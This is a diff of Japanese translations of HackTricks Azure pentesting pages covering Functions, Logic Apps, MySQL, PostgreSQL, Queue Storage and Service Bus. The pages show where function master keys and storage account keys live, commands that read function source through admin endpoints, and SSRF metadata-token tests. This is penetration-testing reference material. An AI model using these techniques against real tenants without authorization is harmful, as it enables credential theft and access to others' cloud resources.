- **Dedicated Plan**: 専用の仮想マシン上で実行され、**予測可能な請求**を提供し、手動または自動スケーリングをサポートします。同じプランで複数のアプリを実行でき、**コンピューティングの隔離**を提供し、App Service Environmentsを介して**安全なネットワークアクセス**を確保します。これは、リソースの一貫した割り当て必要**長時間実行されるアプリケーション**に最適です。
- **Container Apps**: **コンテナ化された関数アプリ**を管理された環境でデプロイでき、マイクロサービスやAPIと共に使用できます。カスタムライブラリ、レガシーアプリの移行、**GPU処理**をサポートし、Kubernetesクラスターの管理を排除します。**イベント駆動型でスケーラブルなコンテナ化されたアプリケーション**に最適です。
- **Premium Plan**: **一貫したパフォーマンス**を提供するように設計されており、コールドスタートを排除するための**事前ウォームされたワーカー**を備えています。**拡張実行時間、仮想ネットワーキング**を提供し、**カスタムLinuxイメージ**をサポートしており、高パフォーマンスと高度な機能を必要とする**ミッションクリティカルなアプリケーション**に最適です。
- **Dedicated Plan**: 専用の仮想マシン上で実行され、**予測可能な請求**を提供し、手動または自動スケーリングをサポートします。同じプランで複数のアプリを実行でき、**コンピューティングの隔離**を提供し、App Service Environmentsを介して**安全なネットワークアクセス**を確保し、一貫したリソース割り当て必要とする**長時間実行されるアプリケーション**に最適です。
- **Container Apps**: **コンテナ化された関数アプリ**を管理された環境でデプロイすることを可能にし、マイクロサービスやAPIと共に使用できます。カスタムライブラリ、レガシーアプリの移行、**GPU処理**をサポートし、Kubernetesクラスターの管理を排除します。**イベント駆動型でスケーラブルなコンテナ化されたアプリケーション**に最適です。
### **ストレージバケット**
新しいFunction Appをコンテナ化せずに作成する場合実行するコードを提供する場合、**コードその他のFunction関連データはストレージアカウントに保存されます**。デフォルトでは、Webコンソールはコードを保存するために関数ごとに新しいものを作成します。
新しいFunction Appをコンテナ化せずに作成する場合実行するコードを提供する場合、**コードおよびその他のFunction関連データはストレージアカウントに保存されます**。デフォルトでは、Webコンソールはコードを保存するために関数ごとに新しいものを作成します。
さらに、バケット内のコードを変更すると(保存されるさまざまな形式で)、**アプリのコードは新しいものに変更され、次回Functionが呼び出されると実行されます**。
@@ -28,15 +28,15 @@
>
> これについては**権限昇格セクション**で詳しく説明します。
ストレージアカウント内のコンテナ**`azure-webjobs-secrets`**に、フォルダ**`<app-name>`**内のJSONファイルに保存されている**マスターキーと関数キー**を見つけることも可能です。
ストレージアカウント内のコンテナ **`azure-webjobs-secrets`** に、フォルダ **`<app-name>`** 内のJSONファイルに保存され**マスターキーと関数キー**を見つけることも可能です。
Functionsは、リモートの場所にコードを保存することも可能で、そのURLを指定するだけです。
Functionsは、リモートロケーションにコードを保存することも可能で、URLを指定するだけで済みます。
### ネットワーキング
HTTPトリガーを使用する
HTTPトリガーを使用する場合
- **インターネット全体から関数へのアクセスを提供**することが可能で、認証を必要としないか、IAMベースのアクセスを提供できます。ただし、このアクセスを制限することも可能です。
- **インターネット全体から関数へのアクセスを提供**することが可能で、認証を必要としないか、IAMベースのアクセスを提供することができます。ただし、このアクセスを制限することも可能です。
- **内部ネットワークVPC**からFunction Appへのアクセスを**提供または制限**することも可能です。
> [!CAUTION]
@@ -44,15 +44,15 @@ HTTPトリガーを使用すると
### **Function Appの設定と環境変数**
アプリ内で環境変数を構成することが可能で、これには機密情報が含まれる場合があります。さらに、デフォルトで環境変数**`AzureWebJobsStorage`**と**`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`**(他にもいくつか)が作成されます。これらは特に興味深いもので、**アプリケーションのデータを含むストレージアカウントを完全に制御するためのアカウントキーを含んでいます**。これらの設定は、ストレージアカウントからコードを実行するためにも必要です。
アプリ内で環境変数を構成することが可能で、これには機密情報が含まれる可能性があります。さらに、デフォルトで環境変数 **`AzureWebJobsStorage`****`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`**(他にもいくつか)が作成されます。これらは特に興味深いもので、**アプリケーションのデータを含むストレージアカウントを完全に制御するためのアカウントキーを含んでいます**。これらの設定は、ストレージアカウントからコードを実行するためにも必要です。
これらの環境変数や構成パラメータは、Functionがコードを実行する方法も制御します。たとえば、**`WEBSITE_RUN_FROM_PACKAGE`**が存在する場合、アプリケーションのコードがあるURLを示します。
これらの環境変数や構成パラメータは、Functionがコードを実行する方法も制御します。たとえば、**`WEBSITE_RUN_FROM_PACKAGE`** が存在する場合、アプリケーションのコードがあるURLを示します。
### **Function Sandbox**
Linuxサンドボックス内では、ソースコードは**`/home/site/wwwroot`**のファイル**`function_app.py`**Pythonを使用している場合あります。コードを実行するユーザーは**`app`**sudo権限なしです
Linuxサンドボックス内では、ソースコードは **`/home/site/wwwroot`** にあり、ファイル **`function_app.py`**Pythonを使用している場合格納されています。コードを実行するユーザーは **`app`**sudo権限なし
**Windows**関数でNodeJSを使用している場合、コードは**`C:\home\site\wwwroot\HttpTrigger1\index.js`**にあり、ユーザー名は**`mawsFnPlaceholder8_f_v4_node_20_x86`**で、**グループ**には`Mandatory Label\High Mandatory Level Label``Everyone``BUILTIN\Users``NT AUTHORITY\INTERACTIVE``CONSOLE LOGON``NT AUTHORITY\Authenticated Users``NT AUTHORITY\This Organization``BUILTIN\IIS_IUSRS``LOCAL``10-30-4-99\Dwas Site Users`が含まれていました。
**Windows**関数でNodeJSを使用している場合、コードは **`C:\home\site\wwwroot\HttpTrigger1\index.js`** にあり、ユーザー名は **`mawsFnPlaceholder8_f_v4_node_20_x86`** で、**グループ**には `Mandatory Label\High Mandatory Level Label``Everyone``BUILTIN\Users``NT AUTHORITY\INTERACTIVE``CONSOLE LOGON``NT AUTHORITY\Authenticated Users``NT AUTHORITY\This Organization``BUILTIN\IIS_IUSRS``LOCAL``10-30-4-99\Dwas Site Users` が含まれていました。
### **管理されたIDとメタデータ**
@@ -69,25 +69,25 @@ Linuxサンドボックス内では、ソースコードは**`/home/site/wwwroot
{% embed url="https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#azure-vm" %}
関数に添付されている**すべての管理されたIDを確認する方法**を見つける必要があることに注意してください。指定しない場合、メタデータエンドポイントは**デフォルトのもののみを使用します**(詳細については前のリンクを確認してください)。
関数に添付され**すべての管理されたIDを確認する方法を見つける必要がある**ことに注意してください。指定しない場合、メタデータエンドポイントは**デフォルトのもののみを使用します**(詳細については前のリンクを確認してください)。
## アクセスキー
> [!NOTE]
> ユーザー関数を呼び出すアクセスを与えるためのRBAC権限はありません。**関数の呼び出しは、作成時に選択されたトリガーに依存します**。HTTPトリガーが選択された場合、**アクセスキー**を使用する必要があるかもしれません。
> ユーザー関数を呼び出すためのアクセスを与えるRBAC権限は存在しないことに注意してください。**関数の呼び出しは、作成時に選択されたトリガーに依存します**。HTTPトリガーが選択された場合、**アクセスキー**を使用する必要があるかもしれません。
HTTPトリガーを使用して関数内にエンドポイントを作成する際、関数をトリガーするために必要な**アクセスキーの認証レベル**を指定することが可能です。3つのオプションがあります
- **ANONYMOUS**: **誰でも**URLを通じて関数にアクセスできます。
- **FUNCTION**: エンドポイントは**関数、ホスト、またはマスターキー**を使用するユーザーのみがアクセスできます。
- **ADMIN**: エンドポイントは**マスターキー**を持つユーザーのみがアクセスできます。
- **FUNCTION**: エンドポイントは**関数、ホスト、またはマスターキー**を使用するユーザーのみがアクセスできます。
- **ADMIN**: エンドポイントは**マスターキー**を持つユーザーのみがアクセスできます。
**キーの種類:**
- **関数キー**: 関数キーはデフォルトまたはユーザー定義のいずれかであり、Function App内の**特定の関数エンドポイント**へのアクセスを独占的に付与するように設計されています。これにより、エンドポイントに対するより細かいアクセスが可能になります。
- **関数キー**: 関数キーはデフォルトまたはユーザー定義のいずれかであり、Function App内の**特定の関数エンドポイント**へのアクセスを独占的に付与するように設計されています。
- **ホストキー**: ホストキーもデフォルトまたはユーザー定義のいずれかであり、**FUNCTIONアクセスレベル**を持つFunction App内の**すべての関数エンドポイント**へのアクセスを提供します。
- **マスターキー**: マスターキー(`_master`)は、すべての関数エンドポイントへのアクセスを含む管理キーであり、権限が昇格されます。この**キーは取り消すことができません**。
- **システムキー**: システムキーは**特定の拡張機能によって管理され**、内部コンポーネントによって使用されるWebhookエンドポイントにアクセスするために必要です。例としては、Event GridトリガーやDurable Functionsがあり、これらはそれぞれのAPIと安全に対話するためにシステムキーを利用します。
- **システムキー**: システムキーは**特定の拡張機能によって管理され**、内部コンポーネントによって使用されるWebhookエンドポイントにアクセスするために必要です。例としては、Event GridトリガーやDurable Functionsがあり、システムキーを使用してそれぞれのAPIと安全に対話します。
> [!TIP]
> キーを使用して関数APIエンドポイントにアクセスする例
@@ -96,7 +96,7 @@ HTTPトリガーを使用して関数内にエンドポイントを作成する
### 基本認証
App Servicesと同様に、Functionsも**SCM**および**FTP**に接続してコードをデプロイするための基本認証をサポートしています。これは、Azureが提供する**ユーザー名とパスワードを含むURL**を使用します。詳細については:
App Servicesと同様に、Functionsも**SCM**および**FTP**に接続してコードをデプロイするための基本認証をサポートしています。これは、Azureが提供する**ユーザー名とパスワードを含むURL**を使用します。詳細については以下を参照してください
{{#ref}}
az-app-services.md
@@ -104,7 +104,7 @@ az-app-services.md
### Githubベースのデプロイメント
関数がGithubリポジトリから生成されると、Azure Webコンソールは**特定のリポジトリにGithubワークフローを自動的に作成**することを許可します。これにより、このリポジトリが更新されるたびに関数のコードが更新されます。実際、Python関数のGithub Action YAMLは次のようになります:
関数がGithubリポジトリから生成されると、Azure Webコンソールは**特定のリポジトリにGithubワークフローを自動的に作成する**ことを許可します。これにより、このリポジトリが更新されるたびに関数のコードが更新されます。実際、Python関数のGithub Action yamlは次のようになります:
<details>
@@ -199,15 +199,14 @@ package: ${{ env.AZURE_FUNCTIONAPP_PACKAGE_PATH }}
### コンテナベースのデプロイメント
すべてのプランがコンテナのデプロイを許可しているわけではありませんが、許可されているプランでは、構成にコンテナのURLが含まれます。APIでは、**`linuxFxVersion`**設定は次のようになります: `DOCKER|mcr.microsoft.com/...`、一方、Webコンソールでは、構成に**image settings**が表示されます。
すべてのプランがコンテナのデプロイを許可しているわけではありませんが、許可されているプランでは、構成にコンテナのURLが含まれます。APIでは、**`linuxFxVersion`**設定は次のようになります: `DOCKER|mcr.microsoft.com/...`、一方、ウェブコンソールでは、構成に**image settings**が表示されます。
さらに、**ソースコードは関数に関連するストレージ**アカウントに保存されません。必要ないためです。
## 列挙
{% tabs %}
{% tab title="az cli" %}
{% code overflow="wrap" %}
{{#tabs }}
{{#tab name="az cli" }}
```bash
# List all the functions
az functionapp list
@@ -253,11 +252,9 @@ curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/func
# Get source code
az rest --url "https://management.azure.com/<subscription>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01"
```
{% endcode %}
{% endtab %}
{{#endtab }}
{% tab title="Az PowerShell" %}
{% code overflow="wrap" %}
{{#tab name="Az Powershell" }}
```powershell
Get-Command -Module Az.Functions
@@ -273,9 +270,9 @@ Get-AzFunctionAppPlan -ResourceGroupName <String> -Name <String>
# Retrieves the app settings for a specific Azure Function App.
Get-AzFunctionAppSetting -Name <FunctionAppName> -ResourceGroupName <ResourceGroupName>
```
{% endcode %}
{% endtab %}
{% endtabs %}
{{#endtab }}
{{#endtabs }}
## 権限昇格

View File

@@ -23,7 +23,7 @@ Logic Appsは、**幅広い事前構築されたコネクタ**を使用してワ
### SSRF保護
たとえ**Logic AppがSSRFに対して脆弱である**ことがわかっても、Logic Appsはそれを許可しないため、メタデータから資格情報にアクセスすることはできません。
たとえ**Logic AppがSSRFに対して脆弱であっても**、Logic Appsはそれを許可しないため、メタデータから資格情報にアクセスすることはできません。
たとえば、次のようなものはトークンを返しません:
```bash
@@ -35,17 +35,16 @@ curl -XPOST 'https://prod-44.westus.logic.azure.com:443/workflows/2d8de4be6e9741
いくつかのホスティングオプションがあります:
* **消費型**
- **マルチテナント**:共有コンピューティングリソースを提供し、パブリッククラウドで運され、操作ごとの料金モデルに従います。これは軽量でコスト効果の高いワークロードに最適です。
- **マルチテナント**:共有コンピューティングリソースを提供し、パブリッククラウドで運され、操作ごとの料金モデルに従います。これは軽量でコスト効果の高いワークロードに最適です。
* **スタンダード**
- **ワークフローサービスプラン**ネットワーキングのためのVNET統合を持つ専用コンピューティングリソースで、ワークフローサービスプランインスタンスごとに料金が発生します。これは、より高い制御を必要とする要求の厳しいワークロードに適しています。
- **ワークフローサービスプラン**ネットワーキングのためのVNET統合を持つ専用コンピューティングリソースで、ワークフローサービスプランインスタンスごとに料金が発生します。これは、より大きな制御を必要とする要求の厳しいワークロードに適しています。
- **アプリサービス環境V3**完全な隔離とスケーラビリティを持つ専用コンピューティングリソースです。また、ネットワーキングのためにVNETと統合され、環境内のアプリサービスインスタンスに基づく料金モデルを使用します。これは、高い隔離を必要とするエンタープライズ規模のアプリケーションに最適です。
- **ハイブリッド**ローカル処理とマルチクラウドサポートのために設計されています。顧客管理のコンピューティングリソースをローカルネットワークアクセスと共に提供し、Kubernetes Event-Driven Autoscaling (KEDA)を利用します。
### 列挙
{% tabs %}
{% tab title="az cli" %}
{% code overflow="wrap" %}
{{#tabs }}
{{#tab name="az cli" }}
```bash
# List
az logic workflow list --resource-group <ResourceGroupName>
@@ -108,11 +107,9 @@ az logicapp show --name <LogicAppName> --resource-group <ResourceGroupName>
# List all application settings for a specific Logic App
az logicapp config appsettings list --name <LogicAppName> --resource-group <ResourceGroupName>
```
{% endcode %}
{% endtab %}
{{#endtab }}
{% tab title="Az PowerShell" %}
{% code overflow="wrap" %}
{{#tab name="Az Powershell" }}
```bash
Get-Command -Module Az.LogicApp
@@ -137,29 +134,25 @@ Get-AzLogicAppTriggerCallbackUrl -ResourceGroupName "<ResourceGroupName>" -LName
Get-AzLogicAppTriggerHistory -ResourceGroupName "<ResourceGroupName>" -Name "<LogicAppName>" -TriggerName "<TriggerName>"
```
{% endcode %}
{% endtab %}
{% endtabs %}
{{#endtab }}
{{#endtabs }}
### インテグレーション アカウント
**インテグレーション アカウント**は、Azure Logic Appsの機能です。インテグレーション アカウントは、EDI、AS2、XMLスキーマ管理などの高度なB2B機能を有効にすることによって、エンタープライズレベルの統合を促進するために使用されます。インテグレーション アカウントは、Logic Appsで使用される以下のアーティファクトを格納するAzureのコンテナです。
### インテグレーションアカウント
**インテグレーションアカウント**は、Azure Logic Appsの機能です。インテグレーションアカウントは、EDI、AS2、XMLスキーマ管理などの高度なB2B機能を有効にすることで、エンタープライズレベルの統合を促進します。インテグレーションアカウントは、Logic Appsで使用される以下のアーティファクトを格納するAzureのコンテナです
* スキーマインテグレーションアカウント内のメッセージを検証および処理するためのXMLスキーマを管理します。
* マップインテグレーションワークフロー内でデータ形式を変換するためのXSLTベースの変換を構成します
* アセンブリ:ロジックとデータ処理を効率化するためにインテグレーションアカウントのアセンブリを管理します。
* 証明書:メッセージの暗号化と署名のための証明書を扱い、安全な通信を確保します。
* パートナーB2B取引のための取引先情報を管理し、シームレスな統合を可能にします。
* 合意取引先とのデータ交換のためのルールと設定を構成しますEDI、AS2
* バッチ構成:メッセージを効率的にグループ化して処理するためのバッチ処理構成を管理します。
* RosettaNet PIPB2B通信を標準化するためのRosettaNetパートナーインターフェースプロセスPIPを構成します。
* スキーマ: インテグレーション アカウント内のメッセージを検証および処理するためのXMLスキーマを管理します。
* マップ: インテグレーション ワークフロー内でデータ形式を変換するためのXSLTベースの変換を構成します。
* アセンブリ: ロジックとデータ処理を効率化するためにインテグレーション アカウントのアセンブリを管理します。
* 証明書: メッセージの暗号化と署名のための証明書を扱い、安全な通信を確保します。
* パートナー: B2B取引のための取引先情報を管理し、シームレスな統合を可能にします。
* 合意: 取引先とのデータ交換のためのルールと設定を構成します(例: EDI、AS2
* バッチ構成: メッセージを効率的にグループ化および処理するためのバッチ処理構成を管理します。
* RosettaNet PIP: B2B通信を標準化するためのRosettaNetパートナーインターフェースプロセスPIPを構成します。
#### 列挙
{% tabs %}
{% tab title="az cli" %}
{% code overflow="wrap" %}
{{#tabs }}
{{#tab name="az cli" }}
```bash
# Integration account
az logic integration-account list --resource-group <resource-group-name>
@@ -219,11 +212,9 @@ az logic integration-account assembly show \
```
{% endcode %}
{% endtab %}
{{#endtab }}
{% tab title="Az PowerShell" %}
{% code overflow="wrap" %}
{{#tab name="Az Powershell" }}
```powershell
Get-Command -Module Az.LogicApp
@@ -254,23 +245,22 @@ Get-AzIntegrationAccountPartner -ResourceGroupName <resource-group-name> -Integr
# Retrieve details of a specific schema in an integration account
Get-AzIntegrationAccountSchema -ResourceGroupName <resource-group-name> -IntegrationAccountName <integration-account-name> -Name <schema-name>
```
{% endcode %}
{% endtab %}
{% endtabs %}
{{#endtab }}
{{#endtabs }}
## 権限昇格
ロジックアプリの権限昇格と同様です:
{% content-ref url="../az-privilege-escalation/az-logic-apps-privesc.md" %}
[az-logic-apps-privesc.md](../az-privilege-escalation/az-logic-apps-privesc.md)
{% endcontent-ref %}
{{#ref}}
../az-privilege-escalation/az-logic-apps-privesc.md
{{#endref}}
## ポストエクスプロイト
{% content-ref url="../az-post-exploitation/az-logic-apps-post-exploitation.md" %}
[az-logic-apps-post-exploitation.md](../az-post-exploitation/az-logic-apps-post-exploitation.md)
{% endcontent-ref %}
{{#ref}}
../az-post-exploitation/az-logic-apps-post-exploitation.md
{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -3,7 +3,7 @@
{{#include ../../../banners/hacktricks-training.md}}
## Azure MySQL
Azure Database for MySQL は、MySQL Community Edition に基づいた完全管理型リレーショナルデータベースサービスで、さまざまなアプリケーションニーズに対してスケーラビリティ、セキュリティ、柔軟性を提供するように設計されています。2つの異なるデプロイメントモデルがあります
Azure Database for MySQL は、MySQL Community Edition に基づいた完全管理型リレーショナルデータベースサービスであり、さまざまなアプリケーションニーズに対してスケーラビリティ、セキュリティ、および柔軟性を提供するように設計されています。2つの異なるデプロイメントモデルがあります
* **Single Server** (引退の道を歩んでいます):
- コスト効率が高く、管理が容易な MySQL デプロイメントに最適化されています。
@@ -16,16 +16,15 @@ Azure Database for MySQL は、MySQL Community Edition に基づいた完全管
- コスト削減のための停止/開始機能を提供します。
### 主な機能
* **サーバー管理**: **ad-admin** 機能は、MySQL サーバーの Azure Active Directory (AAD) 管理者を管理することを可能にし、AAD 認証情報を介して管理アクセスを制御します。一方、**identity** 機能は、Azure Managed Identities の割り当てと管理を可能にし、Azure リソースへの安全な認証情報なしのアクセスを提供します。
* **サーバー管理**: **ad-admin** 機能は、MySQL サーバーの Azure Active Directory (AAD) 管理者を管理することを可能にし、AAD 認証情報を介して管理アクセスを制御します。一方、**identity** 機能は、Azure Managed Identities の割り当てと管理を可能にし、Azure リソースへの安全な認証情報なしの認証を提供します。
* **ライフサイクル管理**: サーバーの開始または停止、フレキシブルサーバーインスタンスの削除、構成変更を迅速に適用するためのサーバーの再起動、オートメーションスクリプトを進める前に特定の条件を満たすことを確認するための待機オプションがあります。
* **セキュリティとネットワーキング**: セキュアなデータベースアクセスのためのサーバーファイアウォールルールを管理し、必要に応じて仮想ネットワーク構成を切り離すことができます。
* **データ保護とバックアップ**: データ回復のためのフレキシブルサーバーのバックアップ管理オプション、異なるリージョンでサーバーを回復するためのジオリストア、外部使用のためのサーバーバックアップのエクスポート(プレビュー中)、特定の時点にバックアップからサーバーを復元する機能が含まれています。
* **データ保護とバックアップ**: データ回復のためのフレキシブルサーバーのバックアップ管理するオプション、異なるリージョンでサーバーを回復するためのジオリストア、外部使用のためのサーバーバックアップのエクスポート(プレビュー中)、特定の時点にバックアップからサーバーを復元するオプションが含まれています。
### 列挙
{% tabs %}
{% tab title="az cli" %}
{% code overflow="wrap" %}
{{#tabs }}
{{#tab name="az cli" }}
```bash
# List all flexible-servers
az mysql flexible-server db list --resource-group <resource-group-name>
@@ -55,11 +54,9 @@ az mysql flexible-server maintenance list --resource-group <resource-group-name>
az mysql flexible-server server-logs list --resource-group <resource-group-name> --server-name <server_name>
```
{% endcode %}
{% endtab %}
{{#endtab }}
{% tab title="Az PowerShell" %}
{% code overflow="wrap" %}
{{#tab name="Az Powershell" }}
```bash
Get-Command -Module Az.MySql
@@ -95,15 +92,12 @@ Get-AzMySqlFlexibleServerMaintenanceWindow -ResourceGroupName <resource-group-na
# List log files for a server
Get-AzMySqlFlexibleServerLog -ResourceGroupName <resource-group-name> -ServerName <server_name>
```
{% endcode %}
{% endtab %}
{% endtabs %}
{{#endtab }}
{{#endtabs }}
### 接続
拡張機能 rdbms-connect を使用すると、次のようにデータベースにアクセスできます
{% code overflow="wrap" %}
拡張機能 rdbms-connect を使用すると、次のようにデータベースにアクセスできます:
```bash
az mysql flexible-server connect -n <server-name> -u <username> -p <password> --interactive
@@ -116,17 +110,11 @@ az mysql flexible-server execute \
--querytext "SELECT * FROM <table-name>;"
```
{% endcode %}
または MySQL ネイティブ拡張プラグインを使用して
{% code overflow="wrap" %}
MySQLネイティブ拡張プラグインを使用して
```bash
mysql -h <server-name>.mysql.database.azure.com -P 3306 -u <username> -p
```
{% endcode %}
また、GitHubを使用してクエリを実行することもできますが、パスワードとユーザーも必要です。実行するクエリを含むSQLファイルを設定する必要があります。その後
{% code overflow="wrap" %}
また、GitHubを使用してクエリを実行することもできますが、パスワードとユーザーも必要です。実行するクエリを含むSQLファイルを設定する必要があります。その後:
```bash
# Setup
az mysql flexible-server deploy setup \
@@ -145,23 +133,21 @@ az mysql flexible-server deploy run \
--action-name <action-name> \
--branch <branch-name>
```
{% endcode %}
## 権限昇格
{% content-ref url="../az-privilege-escalation/az-mysql-privesc.md" %}
[az-mysql-privesc.md](../az-privilege-escalation/az-mysql-privesc.md)
{% endcontent-ref %}
{{#ref}}
../az-privilege-escalation/az-mysql-privesc.md
{{#endref}}
## ポストエクスプロイト
{% content-ref url="../az-post-exploitation/az-mysql-post-exploitation.md" %}
[az-sql-mysql-exploitation.md](../az-post-exploitation/az-mysql-post-exploitation.md)
{% endcontent-ref %}
{{#ref}}
../az-post-exploitation/az-mysql-post-exploitation.md
{{#endref}}
## ToDo
* mysql flexible-server ad-adminアクセスする方法を探して、権限昇格の手法であることを確認する
* mysql flexible-server ad-adminアクセスする方法を探して、権限昇格の手法であることを確認する

View File

@@ -1,34 +1,33 @@
# Az - PostgreSQL Databases
# Az - PostgreSQL データベース
{{#include ../../../banners/hacktricks-training.md}}
## Azure PostgreSQL
**Azure Database for PostgreSQL** は、**PostgreSQL** Community Edition に基づいた完全管理型の **リレーショナルデータベースサービス** です。スケーラビリティ、セキュリティ、柔軟性を提供し、多様なアプリケーションニーズに対応するよう設計されています。Azure MySQL と同様に、PostgreSQL には二つのデプロイメントモデルがあります:
* **Single Server** (退パス):
* **Single Server** (退パス):
- シンプルでコスト効果の高い PostgreSQL デプロイメントに最適化されています。
- 自動バックアップ、基本的な監視、高可用性を特徴としています。
- 予測可能なワークロードを持つアプリケーションに理想的です。
- 予測可能なワークロードを持つアプリケーションに最適です。
* **Flexible Server**:
- データベース管理と構成に対するより大きな制御を提供します。
- 同じゾーン内およびゾーン間での高可用性をサポートします。
- 弾力的なスケーリング、自動メンテナンス、コスト削減機能を特徴としています。
- コストを最適化するためにサーバーの開始と停止が可能です。
### Key Features
### 主な機能
* **Custom Maintenance Windows**: 中断を最小限に抑えるために更新をスケジュールします。
* **Active Monitoring**: データベースのパフォーマンスを追跡し改善するための詳細なメトリクスとログにアクセスします。
* **Stop/Start Server**: ユーザーはサーバーを停止および開始できます。
* **Automatic Backups**: 最大35日間の保持期間を設定可能な組み込みの毎日のバックアップ。
* **Role-Based Access**: Azure Active Directory を通じてユーザー権限と管理アクセスを制御します。
* **Security and Networking**: セキュアなデータベースアクセスのためにサーバーファイアウォールルールを管理し、必要に応じて仮想ネットワーク構成を切り離すことができます。
* **カスタムメンテナンスウィンドウ**: 中断を最小限に抑えるために更新をスケジュールします。
* **アクティブモニタリング**: 詳細なメトリクスとログにアクセスしてデータベースのパフォーマンスを追跡し改善します。
* **サーバーの停止/開始**: ユーザーはサーバーを停止および開始できます。
* **自動バックアップ**: 最大35日間の保持期間を設定可能な組み込みの毎日のバックアップ。
* **ロールベースのアクセス**: Azure Active Directory を通じてユーザー権限と管理アクセスを制御します。
* **セキュリティとネットワーキング**: セキュアなデータベースアクセスのためにサーバーファイアウォールルールを管理し、必要に応じて仮想ネットワーク構成を切り離すことができます。
### Enumeration
### 列挙
{% tabs %}
{% tab title="az cli" %}
{% code overflow="wrap" %}
{{#tabs }}
{{#tab name="az cli" }}
```bash
# List servers in a resource group
az postgres flexible-server list --resource-group <resource-group-name>
@@ -64,11 +63,9 @@ az postgres flexible-server maintenance list --resource-group <resource-group-na
az postgres flexible-server server-logs list --resource-group <resource-group-name> --server-name <server_name>
```
{% endcode %}
{% endtab %}
{{#endtab }}
{% tab title="Az PowerShell" %}
{% code overflow="wrap" %}
{{#tab name="Az Powershell" }}
```bash
Get-Command -Module Az.PostgreSql
@@ -91,15 +88,12 @@ Get-AzPostgreSqlFlexibleServerLocationBasedCapability -Location <location>
Get-AzPostgreSqlServer -ResourceGroupName <resource-group-name>
```
{% endcode %}
{% endtab %}
{% endtabs %}
{{#endtab }}
{{#endtabs }}
### 接続
拡張機能 rdbms-connect を使用すると、次のようにデータベースにアクセスできます
{% code overflow="wrap" %}
拡張機能 rdbms-connect を使用すると、次のようにデータベースにアクセスできます:
```bash
az postgres flexible-server connect -n <server-name> -u <username> -p <password> --interactive
@@ -112,36 +106,31 @@ az postgres flexible-server execute \
--querytext "SELECT * FROM <table-name>;"
```
{% endcode %}
または
{% code overflow="wrap" %}
```bash
psql -h testpostgresserver1994.postgres.database.azure.com -p 5432 -U adminuser <database-name>
```
{% endcode %}
## 参考文献
* [https://learn.microsoft.com/en-us/azure/postgresql/](https://learn.microsoft.com/en-us/azure/postgresql/)
* [https://learn.microsoft.com/en-us/azure/postgresql/flexible-server/service-overview](https://learn.microsoft.com/en-us/azure/postgresql/flexible-server/service-overview)
* [https://learn.microsoft.com/en-us/azure/postgresql/flexible-server/overview](https://learn.microsoft.com/en-us/azure/postgresql/flexible-server/overview)
- [https://learn.microsoft.com/en-us/azure/postgresql/](https://learn.microsoft.com/en-us/azure/postgresql/)
- [https://learn.microsoft.com/en-us/azure/postgresql/flexible-server/service-overview](https://learn.microsoft.com/en-us/azure/postgresql/flexible-server/service-overview)
- [https://learn.microsoft.com/en-us/azure/postgresql/flexible-server/overview](https://learn.microsoft.com/en-us/azure/postgresql/flexible-server/overview)
## 権限昇格
{% content-ref url="../az-privilege-escalation/az-postgresql-privesc.md" %}
[az-postgresql-privesc.md](../az-privilege-escalation/az-postgresql-privesc.md)
{% endcontent-ref %}
{{#ref}}
../az-privilege-escalation/az-postgresql-privesc.md
{{#endref}}
## ポストエクスプロイト
{% content-ref url="../az-post-exploitation/az-postgresql-post-exploitation.md" %}
[az-postgresql-post-exploitation.md](../az-post-exploitation/az-postgresql-post-exploitation.md)
{% endcontent-ref %}
{{#ref}}
../az-post-exploitation/az-postgresql-post-exploitation.md
{{#endref}}
## ToDo
* ad-adminでアクセスする方法を探して、これは権限昇格の手法であることを確認する
* ad-adminでアクセスする方法を探して、権限昇格の手法であることを確認する
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -4,7 +4,7 @@
## 基本情報
Azure Queue Storageは、アプリケーションコンポーネント間のメッセージキューイングのために設計されたMicrosoftのAzureクラウドプラットフォームのサービスで**非同期通信とデカップリングを可能にします**。無制限の数のメッセージを保存でき、各メッセージのサイズは最大64 KBでキューの作成削除、メッセージの追加、取得、更新、削除、メタデータアクセスポリシーの管理などの操作をサポートしています。通常、メッセージは先入れ先出しFIFO方式で処理されますが、厳密なFIFOは保証されていません。
Azure Queue Storageは、アプリケーションコンポーネント間のメッセージキューイングのために設計されたMicrosoftのAzureクラウドプラットフォームのサービスです。**非同期通信とデカップリングを可能にします**。無制限の数のメッセージを保存でき、各メッセージのサイズは最大64 KBです。キューの作成削除、メッセージの追加、取得、更新、削除、メタデータアクセスポリシーの管理などの操作をサポートしています。通常、メッセージは先入れ先出しFIFO方式で処理されますが、厳密なFIFOは保証されていません。
### 列挙
@@ -12,19 +12,19 @@ Azure Queue Storageは、アプリケーションコンポーネント間のメ
{{#tab name="Az Cli" }}
```bash
# You need to know the --account-name of the storage (az storage account list)
az storage queue list --account-name <storage_account>
az storage queue list --account-name <storage_account> # --auth-mode login
# Queue Metadata
az storage queue metadata show --name <queue_name> --account-name <storage_account>
az storage queue metadata show --name <queue_name> --account-name <storage_account> # --auth-mode login
#Get ACL
az storage queue policy list --queue-name <queue_name> --account-name <storage_account>
az storage queue policy list --queue-name <queue_name> --account-name <storage_account> # --auth-mode login
# Get Messages (getting a message deletes it)
az storage message get --queue-name <queue_name> --account-name <storage_account>
az storage message get --queue-name <queue_name> --account-name <storage_account> # --auth-mode login
# Peek Messages
az storage message peek --queue-name <queue_name> --account-name <storage_account>
az storage message peek --queue-name <queue_name> --account-name <storage_account> # --auth-mode login
```
{{#endtab }}

View File

@@ -4,7 +4,7 @@
## Service Bus
Azure Service Busは、アプリケーションの異なる部分または別々のアプリケーション間の信頼性のある**通信を可能にするために設計された**クラウドベースの**メッセージングサービス**です。これは、安全な仲介者として機能し、送信者と受信者が同時に作していなくてもメッセージが安全に配信されることを保証します。システムを分離することで、アプリケーションは独立して動作しながらデータや指示を交換できます。これは、複数のワーカー間での負荷分散、信頼性のあるメッセージ配信、または順序通りのタスク処理やアクセスの安全な管理など、特に複雑な調整が必要なシナリオに役立ちます。
